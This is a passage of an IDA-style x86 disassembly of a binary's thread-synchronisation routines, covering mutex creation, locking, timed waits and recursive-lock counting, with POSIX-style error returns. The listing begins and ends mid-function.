call edi
cmp dword ptr [esi], 0
jz short loc_42B3D2
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42B3E1: ; CODE XREF: _294ADE7B:0042B399j
; _294ADE7B:0042B3A1j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B410 proc near ; CODE XREF: sub_4012ADj
mov eax, ds:dword_4B26E0
push esi
push edi
push eax
call sub_40116D
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_42B49C
call sub_401A28
mov esi, eax
test esi, esi
jz short loc_42B48C
mov edi, [esi+7Ch]
mov eax, 1
or edi, eax
push ebx
mov [esi+7Ch], edi
mov [esi+20h], eax
call ds:dword_4B3824
mov ebx, ds:dword_4B3878
push 2
lea edi, [esi+4]
push 0
push 0
push edi
mov [esi], eax
call ebx
push eax
call ds:dword_4B3874
push eax
call ebx
push eax
call ds:dword_4B3828
test eax, eax
pop ebx
jnz short loc_42B480
push esi
call sub_401AC3
add esp, 4
xor eax, eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42B480: ; CODE XREF: sub_42B410+60j
mov ecx, [edi]
push ecx
call ds:dword_4B3830
mov [esi+28h], eax
loc_42B48C: ; CODE XREF: sub_42B410+1Fj
mov edx, ds:dword_4B26E0
push esi
push edx
call sub_401F5A
add esp, 8
loc_42B49C: ; CODE XREF: sub_42B410+14j
mov eax, esi
pop edi
pop esi
retn
sub_42B410 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B4E0 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_42B4FE
test eax, eax
jz short loc_42B4F8
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_42B4FE
loc_42B4F8: ; CODE XREF: sub_42B4E0+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_42B4FE: ; CODE XREF: sub_42B4E0+Aj
; sub_42B4E0+16j
xor eax, eax
retn
sub_42B4E0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B520: ; CODE XREF: _294ADE7B:00401E92j
mov eax, [esp+4]
test eax, eax
jge short loc_42B52E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42B52E: ; CODE XREF: _294ADE7B:0042B526j
mov ds:dword_4B26F0, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B550: ; CODE XREF: _294ADE7B:004014F1j
mov eax, ds:dword_4B26F0
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B570 proc near ; CODE XREF: sub_401A28j
push esi
call sub_4012C6
mov esi, eax
test esi, esi
jnz short loc_42B592
push 84h
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
test esi, esi
jz short loc_42B5D9
loc_42B592: ; CODE XREF: sub_42B570+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
call ds:dword_4B3820
test eax, eax
mov [esi+38h], eax
jnz short loc_42B5D9
push esi
call sub_401AC3
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42B5D9: ; CODE XREF: sub_42B570+20j
; sub_42B570+5Aj
mov eax, esi
pop esi
retn
sub_42B570 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B600 proc near ; CODE XREF: sub_4012C6j
push esi
push offset dword_4B2720
call ds:dword_4B3868
mov esi, ds:dword_43FA0C
cmp esi, 1
jz short loc_42B635
mov eax, [esi+8]
push offset dword_4B2720
mov ds:dword_43FA0C, eax
mov dword ptr [esi+8], 0
call ds:dword_4B386C
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42B635: ; CODE XREF: sub_42B600+15j
push offset dword_4B2720
xor esi, esi
call ds:dword_4B386C
mov eax, esi
pop esi
retn
sub_42B600 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B670 proc near ; CODE XREF: sub_401AC3j
arg_0 = dword ptr 4
push edi
push offset dword_4B2720
call ds:dword_4B3868
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, ds:dword_43FA0C
push offset dword_4B2720
mov [edx+8], eax
mov ds:dword_43FA0C, edx
call ds:dword_4B386C
pop edi
retn
sub_42B670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B6C0 proc near ; CODE XREF: sub_4015BEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_42B6E0
add esp, 8
retn
sub_42B6C0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B6E0 proc near ; CODE XREF: sub_42B6C0+7p
; sub_42B800+Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012AD
mov esi, eax
test esi, esi
jz short loc_42B716
mov eax, [esi+30h]
test eax, eax
jnz short loc_42B71E
mov eax, [esi+38h]
test eax, eax
mov [esp+10h+var_4], eax
jz short loc_42B71E
mov edi, 2
jmp short loc_42B71E
; ---------------------------------------------------------------------------
loc_42B716: ; CODE XREF: sub_42B6E0+1Bj
mov [esp+10h+var_4], 0
loc_42B71E: ; CODE XREF: sub_42B6E0+22j
; sub_42B6E0+2Dj ...
mov ecx, [esp+10h+arg_4]
lea edx, [esp+10h+var_8]
push ecx
push 0
push edx
push edi
call ds:dword_4B381C
mov ecx, eax
sub ecx, 0
jz short loc_42B7A9
dec ecx
jz short loc_42B754
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42B754: ; CODE XREF: sub_42B6E0+59j
mov eax, [esp+10h+var_4]
push eax
call ds:dword_4B384C
test esi, esi
jz short loc_42B79E
lea edi, [esi+2Ch]
push edi
call sub_40208B
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_42B795
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010AF
push 2
call sub_401CA8
add esp, 8
loc_42B795: ; CODE XREF: sub_42B6E0+99j
push edi
call sub_4010AF
add esp, 4
loc_42B79E: ; CODE XREF: sub_42B6E0+81j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42B7A9: ; CODE XREF: sub_42B6E0+56j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
sub_42B6E0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B800 proc near ; CODE XREF: sub_401C49j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_42B6E0
add esp, 8
retn
sub_42B800 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B830 proc near ; CODE XREF: sub_401AFFj
arg_0 = dword ptr 4
push esi
push offset dword_4B2780
xor esi, esi
call ds:dword_4B3868
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_42B864
push esi
push ecx
call sub_40200E
add esp, 8
mov esi, eax
push offset dword_4B2780
call ds:dword_4B386C
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42B864: ; CODE XREF: sub_42B830+17j
test eax, eax
jnz short loc_42B86D
mov esi, 16h
loc_42B86D: ; CODE XREF: sub_42B830+36j
push offset dword_4B2780
call ds:dword_4B386C
mov eax, esi
pop esi
retn
sub_42B830 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B8A0 proc near ; CODE XREF: sub_40200Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_42B8B4
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42B8B4: ; CODE XREF: sub_42B8A0+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_42B8CF
mov eax, [edi]
test eax, eax
jz short loc_42B8CF
cmp dword ptr [eax], 1
jnz short loc_42B8CF
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42B8CF: ; CODE XREF: sub_42B8A0+1Aj
; sub_42B8A0+20j ...
push esi
push 2Ch
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_42B8F4
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42B8F4: ; CODE XREF: sub_42B8A0+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_42B910
mov edi, [edi]
test edi, edi
jz short loc_42B910
mov edi, [edi+4]
jmp short loc_42B912
; ---------------------------------------------------------------------------
loc_42B910: ; CODE XREF: sub_42B8A0+63j
; sub_42B8A0+69j
xor edi, edi
loc_42B912: ; CODE XREF: sub_42B8A0+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401B59
add esp, 0Ch
test eax, eax
jz short loc_42B94D
push esi
mov ebp, 0Bh
call ds:dword_4B3AAC
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42B94D: ; CODE XREF: sub_42B8A0+8Ej
lea ecx, [esi+14h]
push ecx
call ds:dword_4B3860
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_42B8A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B9B0 proc near ; CODE XREF: sub_402090j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_42BA90
mov eax, [edi]
test eax, eax
jz loc_42BA90
cmp eax, 0FFFFFFFFh
jz loc_42BA55
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_4016DB
mov esi, eax
add esp, 4
test esi, esi
jnz loc_42BA8B
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_42BA47
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010AF
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_42BA40
add edx, 10h
push edx
call sub_4015FA
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
call ds:dword_4B385C
mov ecx, [esp+8+arg_0]
push ecx
call ds:dword_4B3AAC
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BA40: ; CODE XREF: sub_42B9B0+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BA47: ; CODE XREF: sub_42B9B0+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BA55: ; CODE XREF: sub_42B9B0+1Dj
push offset dword_4B2780
call ds:dword_4B3868
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_42BA7B
push offset dword_4B2780
mov dword ptr [edi], 0
call ds:dword_4B386C
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BA7B: ; CODE XREF: sub_42B9B0+B3j
push offset dword_4B2780
mov esi, 10h
call ds:dword_4B386C
loc_42BA8B: ; CODE XREF: sub_42B9B0+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BA90: ; CODE XREF: sub_42B9B0+Aj
; sub_42B9B0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_42B9B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BAE0 proc near ; CODE XREF: sub_40192Ej
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
call ds:dword_4B3A64
add esp, 8
cmp eax, esi
jnz short loc_42BB03
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42BB03: ; CODE XREF: sub_42BAE0+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_42BAE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BB30 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_42BB51
mov eax, [ecx]
test eax, eax
jz short loc_42BB51
push eax
mov [ecx], esi
call ds:dword_4B3AAC
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BB51: ; CODE XREF: sub_42BB30+9j
; sub_42BB30+Fj
mov eax, 16h
pop esi
retn
sub_42BB30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42BB70: ; CODE XREF: _294ADE7B:00401AAFj
mov eax, [esp+4]
test eax, eax
jz short loc_42BB8D
mov eax, [eax]
test eax, eax
jz short loc_42BB8D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42BB8D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42BB8D: ; CODE XREF: _294ADE7B:0042BB76j
; _294ADE7B:0042BB7Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42BBB0: ; CODE XREF: _294ADE7B:00401820j
mov eax, [esp+4]
test eax, eax
jz short loc_42BBDA
mov ecx, [eax]
test ecx, ecx
jz short loc_42BBDA
mov eax, [esp+8]
cmp eax, 1
jz short loc_42BBCE
test eax, eax
jnz short loc_42BBDA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42BBCE: ; CODE XREF: _294ADE7B:0042BBC5j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42BBDA: ; CODE XREF: _294ADE7B:0042BBB6j
; _294ADE7B:0042BBBCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BBF0 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_42BC11
mov ecx, [ecx]
test ecx, ecx
jz short loc_42BC11
mov edx, [esp+arg_4]
test edx, edx
jl short loc_42BC11
cmp edx, 2
jg short loc_42BC11
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_42BC11: ; CODE XREF: sub_42BBF0+8j
; sub_42BBF0+Ej ...
mov eax, 16h
retn
sub_42BBF0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BC30 proc near ; CODE XREF: sub_4017F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_42BC4E
mov ecx, [ecx]
test ecx, ecx
jz short loc_42BC4E
mov edx, [esp+arg_4]
test edx, edx
jz short loc_42BC4E
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42BC4E: ; CODE XREF: sub_42BC30+8j
; sub_42BC30+Ej ...
mov eax, 16h
retn
sub_42BC30 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BC70 proc near ; CODE XREF: sub_40208Bj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_42BD27
mov eax, [esi]
test eax, eax
jz loc_42BD27
cmp eax, 0FFFFFFFFh
jnz short loc_42BCA1
push esi
call sub_401AFF
mov edi, eax
add esp, 4
test edi, edi
jz short loc_42BCA1
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BCA1: ; CODE XREF: sub_42BC70+1Dj
; sub_42BC70+2Cj
mov esi, [esi]
push esi
call ds:dword_4B382C
test eax, eax
jnz short loc_42BCCA
loc_42BCAE: ; CODE XREF: sub_42BC70+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_42BCC2
call sub_4012AD
loc_42BCC2: ; CODE XREF: sub_42BC70+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BCCA: ; CODE XREF: sub_42BC70+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_42BD0A
call sub_4012AD
push eax
mov eax, [esi+0Ch]
push eax
call sub_40196F
add esp, 8
test eax, eax
jz short loc_42BD0A
push esi
call ds:dword_4B3850
cmp dword ptr [esi+8], 1
jnz short loc_42BD00
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BD00: ; CODE XREF: sub_42BC70+82j
mov edi, 24h
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BD0A: ; CODE XREF: sub_42BC70+5Fj
; sub_42BC70+75j
lea ecx, [esi+10h]
push ecx
call sub_42BD60
add esp, 4
test eax, eax
jz short loc_42BCAE
call ds:dword_4B3A50
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42BD27: ; CODE XREF: sub_42BC70+Aj
; sub_42BC70+14j
pop edi
mov eax, 16h
pop esi
retn
sub_42BC70 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BD60 proc near ; CODE XREF: sub_42BC70+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_42BD7A
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
call ds:dword_4B3848
test eax, eax
jnz short loc_42BD7A
retn
; ---------------------------------------------------------------------------
loc_42BD7A: ; CODE XREF: sub_42BD60+6j
; sub_42BD60+17j
call ds:dword_4B3A50
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_42BD60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BDA0 proc near ; CODE XREF: sub_401AC8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_42BF38
mov eax, [esi]
test eax, eax
jz loc_42BF38
cmp eax, 0FFFFFFFFh
jnz short loc_42BDD1
push esi
call sub_401AFF
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_42BDD1
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BDD1: ; CODE XREF: sub_42BDA0+1Dj
; sub_42BDA0+2Cj
mov esi, [esi]
push ebx
push edi
push esi
call ds:dword_4B382C
test eax, eax
jnz short loc_42BE02
loc_42BDE0: ; CODE XREF: sub_42BDA0+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_42BF2E
call sub_4012AD
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BE02: ; CODE XREF: sub_42BDA0+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_42BE46
call sub_4012AD
push eax
mov eax, [esi+0Ch]
push eax
call sub_40196F
add esp, 8
test eax, eax
jz short loc_42BE46
push esi
call ds:dword_4B3850
cmp dword ptr [esi+8], 1
jnz short loc_42BE3A
mov eax, [esi+4]
pop edi
inc eax
pop ebx
mov [esi+4], eax
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BE3A: ; CODE XREF: sub_42BDA0+8Aj
mov ebp, 24h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BE46: ; CODE XREF: sub_42BDA0+67j
; sub_42BDA0+7Dj
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_42BE5A
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BE5A: ; CODE XREF: sub_42BDA0+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_42BFB0
add esp, 8
sub eax, 0
jz loc_42BF1A
dec eax
jz short loc_42BEE4
dec eax
jz short loc_42BE85
call ds:dword_4B3A50
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BE85: ; CODE XREF: sub_42BDA0+D4j
lea ebx, [esi+14h]
push ebx
call ds:dword_4B3868
push edi
mov ebp, 274Ch
call sub_401096
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_42BEB7
call ds:dword_4B3850
push ebx
call ds:dword_4B386C
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BEB7: ; CODE XREF: sub_42BDA0+101j
call ds:dword_4B3850
test eax, eax
jl short loc_42BED6
push edi
call sub_401037
add esp, 4
test eax, eax
jz short loc_42BED6
call ds:dword_4B3A50
mov ebp, [eax]
loc_42BED6: ; CODE XREF: sub_42BDA0+11Fj
; sub_42BDA0+12Cj
push ebx
call ds:dword_4B386C
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BEE4: ; CODE XREF: sub_42BDA0+D1j
lea ebx, [esi+14h]
push ebx
call ds:dword_4B3868
push edi
call sub_401096
mov edi, eax
add esp, 4
cmp edi, 0FFFFFFFFh
jnz short loc_42BF0A
push esi
call ds:dword_4B3850
mov ebp, 274Ch
loc_42BF0A: ; CODE XREF: sub_42BDA0+15Cj
push ebx
call ds:dword_4B386C
test edi, edi
jnz short loc_42BF31
jmp loc_42BDE0
; ---------------------------------------------------------------------------
loc_42BF1A: ; CODE XREF: sub_42BDA0+CAj
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_42BF2E
call sub_4012AD
loc_42BF2E: ; CODE XREF: sub_42BDA0+4Dj
; sub_42BDA0+187j
mov [esi+0Ch], eax
loc_42BF31: ; CODE XREF: sub_42BDA0+173j
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42BF38: ; CODE XREF: sub_42BDA0+Aj
; sub_42BDA0+14j
pop esi
mov eax, 16h
pop ebp
retn
sub_42BDA0 endp
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BFB0 proc near ; CODE XREF: sub_42BDA0+BFp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push esi
push edi
mov edi, [esp+14h+arg_0]
test edi, edi
jz loc_42C04D
mov esi, [esp+14h+arg_4]
test esi, esi
jnz short loc_42BFE2
or eax, 0FFFFFFFFh
loc_42BFCC: ; CODE XREF: sub_42BFB0+7Ej
push eax
mov eax, [edi]
mov ecx, [eax]
push ecx
call ds:dword_4B3848
test eax, eax
jnz short loc_42C03B
pop edi
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42BFE2: ; CODE XREF: sub_42BFB0+17j
lea eax, [esp+14h+var_C]
push eax
call sub_4305A6
mov ecx, [esi+4]
mov eax, 431BDE83h
add ecx, 7A120h
add esp, 4
mul ecx
mov eax, [esi]
mov ecx, [esp+14h+var_C]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_42BFCC
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42C03B: ; CODE XREF: sub_42BFB0+2Aj
cmp eax, 102h
jnz short loc_42C04D
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_42C04D: ; CODE XREF: sub_42BFB0+Bj
; sub_42BFB0+90j
call ds:dword_4B3A50
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_42BFB0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C0A0 proc near ; CODE XREF: sub_4010AFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_42C140
mov esi, [eax]
cmp esi, ebx
jz loc_42C140
cmp esi, 0FFFFFFFFh
push edi
jz short loc_42C135
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_42C0EA
call sub_4012AD
push eax
mov eax, [esi+0Ch]
push eax
call sub_40196F
add esp, 8
test eax, eax
jnz short loc_42C0EA
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42C0EA: ; CODE XREF: sub_42C0A0+2Aj
; sub_42C0A0+40j
cmp [esi+8], edi
jnz short loc_42C0F8
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_42C13A
loc_42C0F8: ; CODE XREF: sub_42C0A0+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
call ds:dword_4B3868
push esi
call ds:dword_4B3850
test eax, eax
jl short loc_42C128
add esi, 10h
push esi
call sub_401037
add esp, 4
test eax, eax
jz short loc_42C128
call ds:dword_4B3A50
mov ebx, [eax]
loc_42C128: ; CODE XREF: sub_42C0A0+6Ej
; sub_42C0A0+7Ej
push edi
call ds:dword_4B386C
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42C135: ; CODE XREF: sub_42C0A0+1Ej
mov ebx, 16h
loc_42C13A: ; CODE XREF: sub_42C0A0+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42C140: ; CODE XREF: sub_42C0A0+Aj
; sub_42C0A0+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_42C0A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C180 proc near ; CODE XREF: sub_4016DBj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_42C205
mov eax, [esi]
test eax, eax
jz short loc_42C205
cmp eax, 0FFFFFFFFh
jnz short loc_42C1A2
push esi
call sub_401AFF
add esp, 4
mov edi, eax
loc_42C1A2: ; CODE XREF: sub_42C180+15j
mov esi, [esi]
test edi, edi
jnz short loc_42C200
push 0FFFFFFFFh
push edi
push esi
call ds:dword_4B26F4
cmp eax, 0FFFFFFFFh
jnz short loc_42C1D3
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_42C1CB
call sub_4012AD
loc_42C1CB: ; CODE XREF: sub_42C180+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42C1D3: ; CODE XREF: sub_42C180+35j
cmp dword ptr [esi+8], 1
jnz short loc_42C1FB
call sub_4012AD
push eax
mov eax, [esi+0Ch]
push eax
call sub_40196F
add esp, 8
test eax, eax
jz short loc_42C1FB
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42C1FB: ; CODE XREF: sub_42C180+57j
; sub_42C180+6Dj
mov edi, 10h
